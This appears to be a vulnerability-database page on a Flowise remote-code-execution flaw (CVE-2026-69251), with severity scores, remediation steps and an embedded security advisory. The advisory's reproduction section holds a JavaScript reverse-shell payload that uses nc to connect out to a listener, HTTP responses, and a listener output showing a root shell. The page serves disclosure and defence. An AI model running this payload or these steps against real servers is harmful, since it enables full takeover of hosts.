Which versions of Flowise are affected by EUVD-2026-52701?

FlowiseAI Flowise 3.1.2 and earlier is vulnerable to remote code execution exploitable by any user with login access; publicly available exploit code exists.. A patch is available.

Is there a public PoC exploit available for EUVD-2026-52701?

Yes, a public proof-of-concept exploit is available for EUVD-2026-52701. Prioritise patching immediately. EPSS: 0.3%.

How to fix or mitigate EUVD-2026-52701?

Within 24 hours: identify and inventory all Flowise instances in your environment and their versions; assess which ones have multiple users with login access; implement strict access restrictions to administrators only pending patch deployment. Within 7 days: obtain and test Flowise version 3.1.3 in a non-production environment to verify compatibility and identify any breaking changes. Within 30 days: deploy patched version 3.1.3 to all production Flowise instances and verify successful upgrade completion.

Flowise EUVD-2026-52701

Q: What is the CVSS score of EUVD-2026-52701?

EUVD-2026-52701 has a CVSS 4.0 base score of 9.0 (Critical). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.3%.

| CVE-2026-69251 CRITICAL

Code Injection (CWE-94)

2026-08-04 https://github.com/FlowiseAI/Flowise

GHSA-g32j-mmxr-gfq5

RCE Docker Code Injection

9.0

CVSS 4.0 · Vendor: https://github.com/FlowiseAI/Flowise

Severity by source

Vendor (https://github.com/FlowiseAI/Flowise) PRIMARY

9.0 CRITICAL

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vuln.today AI

8.8 HIGH

Network-reachable UI, low-complexity exploit, but requires an authenticated flow-editing user (PR:L, UI:N); host RCE yields full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).

CVSS VectorVendor: https://github.com/FlowiseAI/Flowise

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Lifecycle Timeline

Threat Model Generated

Aug 31, 2026 - 11:51 vuln.today

Patch available

Aug 04, 2026 - 15:01 EUVD

Source Code Evidence Fetched

Aug 04, 2026 - 15:01 vuln.today

Analysis Generated

Aug 04, 2026 - 15:01 vuln.today

CVE Published

Aug 04, 2026 - 14:28 cve.org

CRITICAL 9.0

DescriptionCVE.org

================= Security Advisory elttam

Topic: Flowise RCE via TypeORM DataSource

Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications-such as chatbots, workflows, and autonomous agents-through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.

II. Problem Description

The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:

This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.

The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:

Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.

http

HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
    "assignedWorkspaces": [
        {
            "id": "3206d8d3-944f-48c6-9332-11e2752b793e",
            "name": "Default Workspace",
            "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}

<1> The organisation ID that is required for a later step.

Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.

process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')

Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the

POST /api/v1/document-store/loader/process/{loader_id} endpoint and retrieve the storeId, as demonstrated in the response below.

http

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "characters": 94,
    "chunks": [
        {
            "chunkNo": 1,
            "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
            "id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
            "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
            "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
            "storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
        }
    ],
    "count": 1,
    "currentPage": 1,
    "description": "",
    "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
    "file": {
        "files": [
            {
                "id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
                "mimePrefix": "application/x-javascript",
                "name": "rce.js",
                "size": 94,
                "status": "NEW",
                "uploaded": "2026-04-15T10:59:34.039Z"
            }
        ],
        "id": "544ff838-bc55-4b28-97a1-c7442710b014",
        "loaderConfig": {
            "file": "FILE-STORAGE::[\"rce.js\"]",
            "legacyBuild": "",
            "metadata": "",
            "omitMetadataKeys": "",
            "pointerName": "",
            "textSplitter": "",
            "usage": "perPage"
        },
        "loaderId": "fileLoader",
        "loaderName": "RCE File",
        "status": "SYNC",
        "totalChars": 94,
        "totalChunks": 1
    },
    "storeName": "RCE POC Store",
    "workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}

<1> The store ID that is required for a later step.

Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.

typeorm-datasource-rce.json

Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the additionalConfig.entities setting. The ${HOME} is the home directory of the user running the Flowise server (e.g., /root on the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.

Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.

$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

III. Impact

This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.

IV. Solution

Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:

extra: Could be abused to provide dangerous driver options.
entities: Could be abused to load arbitrary JavaScript files.
subscribers: Could be abused to load arbitrary JavaScript files.
migrations: Could be abused to load arbitrary JavaScript files.

Articles & Coverage 1

News Critical RCE in FlowiseAI Flowise via vm2 Sandbox Escape - CVE-2026-69251 Aug 04, 2026

AnalysisAI

Authenticated remote code execution in FlowiseAI Flowise 3.1.2 and earlier lets any logged-in user escape the vm2 sandbox and run arbitrary OS commands on the host. The MySQL/Postgres/SQLite Record Manager and MySQL/Agent Memory nodes expose an unfiltered additionalConfig input passed directly into the TypeORM DataSource constructor, whose entities/subscribers/migrations options can load attacker-supplied JavaScript files. A full public reproduction (including a root reverse-shell payload) was published in the elttam advisory, and the vendor fixed it in 3.1.3.

Technical ContextAI

Flowise is a low-code, drag-and-drop platform for building LLM applications (chatbots, agents, workflows). Several database-backed nodes create a TypeORM DataSource to persist records and agent memory. TypeORM's DataSource options accept entities, subscribers, and migrations values that are treated as file globs/paths and require()'d as JavaScript at connection time. Because Flowise forwarded the node's additionalConfig object verbatim into the DataSource options (MySQLrecordManager.ts around line 122, plus the Postgres/SQLite Record Managers and the MySQL/Agent Memory nodes), a user could point entities at a local .js file and have it executed. This is a classic CWE-94 code injection: untrusted input flows into a code-loading sink. It is also a sandbox escape, since the loaded code runs in the parent Node.js process, outside the vm2 sandbox that normally confines flow logic.

RemediationAI

Upgrade to Flowise 3.1.3 or later - the vendor-released patch for both flowise and flowise-components (fixed in 3.1.3), per GHSA-g32j-mmxr-gfq5. If you cannot upgrade immediately, restrict the DataSource options accepted by the affected nodes: the advisory recommends disallowing the dangerous TypeORM options extra, entities, subscribers, and migrations in additionalConfig, since these can load arbitrary local JavaScript or supply dangerous driver options. As compensating controls, limit Flowise to trusted operators (tighten workspace/role permissions so untrusted users cannot create or edit Record Manager, Agent Memory, or document-store loader nodes), run the container as a non-root user with a read-only filesystem to blunt the current root-in-Docker exposure, and place the instance behind network controls so it is not reachable by untrusted users; these measures reduce but do not eliminate the flaw, since any user retaining flow-editing rights can still exploit it. Advisory: https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5.